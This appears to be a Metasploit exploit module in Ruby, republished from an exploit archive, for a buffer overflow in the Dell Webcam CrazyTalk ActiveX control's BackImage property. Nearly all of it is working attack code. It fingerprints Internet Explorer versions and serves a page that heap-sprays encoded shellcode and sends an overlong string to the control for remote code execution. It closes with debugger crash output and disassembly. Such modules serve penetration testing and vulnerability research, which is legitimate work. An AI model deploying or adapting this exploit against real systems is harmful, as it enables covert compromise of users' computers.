Dell Webcam CrazyTalk – ActiveX BackImage (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Dell Webcam's CrazyTalk component. Specifically, when supplying a long string for a file path to the BackImage property, an overflow may occur after checking certain file extension names, resulting in remote code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', #Discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ [ 'URL', 'http://www.dell.com/support/drivers/us/en/04/DriverDetails/DriverFileFormats?c=us&l=en&s=bsd&cs=04&DriverId=R230103' ], [ 'URL', 'http://www.exploit-db.com/exploits/18621/' ], [ 'OSVDB', 80205] ], 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'ExitFunction' => "seh", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600'} ], [ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600'} ], [ 'IE 7 on Windows Vista', { 'Offset' => '0x600'} ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 19 2012", 'DefaultTarget' => 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[3] #IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end print_status("#{cli.peerhost}:#{cli.peerport} - Target set: #{my_target.name}") p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } JS js = heaplib(js, {:noobfu => true}) html = <<-EOS <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' id='target'></object> <script> var arg = "\x0c"; while (arg.length < 2000) arg += arg; target.BackImage = arg.substring(0, 2000); </script> </html> EOS print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin The tmp path has the username that we cannot accurately control remotely, so there's no point to try to overwrite the stack precisely. targetFile = "C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CRAZYT~1.OCX" prototype = "Invoke_Unknown BackImage As String" memberName = "BackImage" progid = "CRAZYTALK4Lib.CrazyTalk4" argCount = 1 (d4c.d9c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=10005970 ecx=0000b3a0 edx=020bf34f esi=03422f98 edi=020bf5ac eip=41414141 esp=020bf33c ebp=020bf390 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 <Unloaded_Ed20.dll>+0x41414140: 41414141 ?? ??? ====== .text:03854F59 lea ecx, [esp+33Ch+Str1] .text:03854F5D push offset a_asp ; ".asp" .text:03854F62 push ecx ; Str1 .text:03854F63 mov [esp+344h+var_308], 0 .text:03854F68 call ebx ; _stricmp <-- Nope .text:03854F71 lea edx, [esp+328h+Str1] .text:03854F75 push offset a_php ; ".php" .text:03854F7A push edx ; Str1 .text:03854F7B call ebx ; _stricmp <--- Still nope .text:03854F84 mov ebx, [esp+328h+Dest] .text:03854F8B lea eax, [esp+328h+Str1] .text:03854F8F lea ecx, [esp+328h+Filename] .text:03854F96 push eax .text:03854F97 add esi, 3B44h .text:03854F9D push ecx .text:03854F9E push esi .text:03854F9F push offset aSSS ; "%s%s%s" .text:03854FA4 push ebx ; Dest .text:03854FA5 call ds:sprintf =end |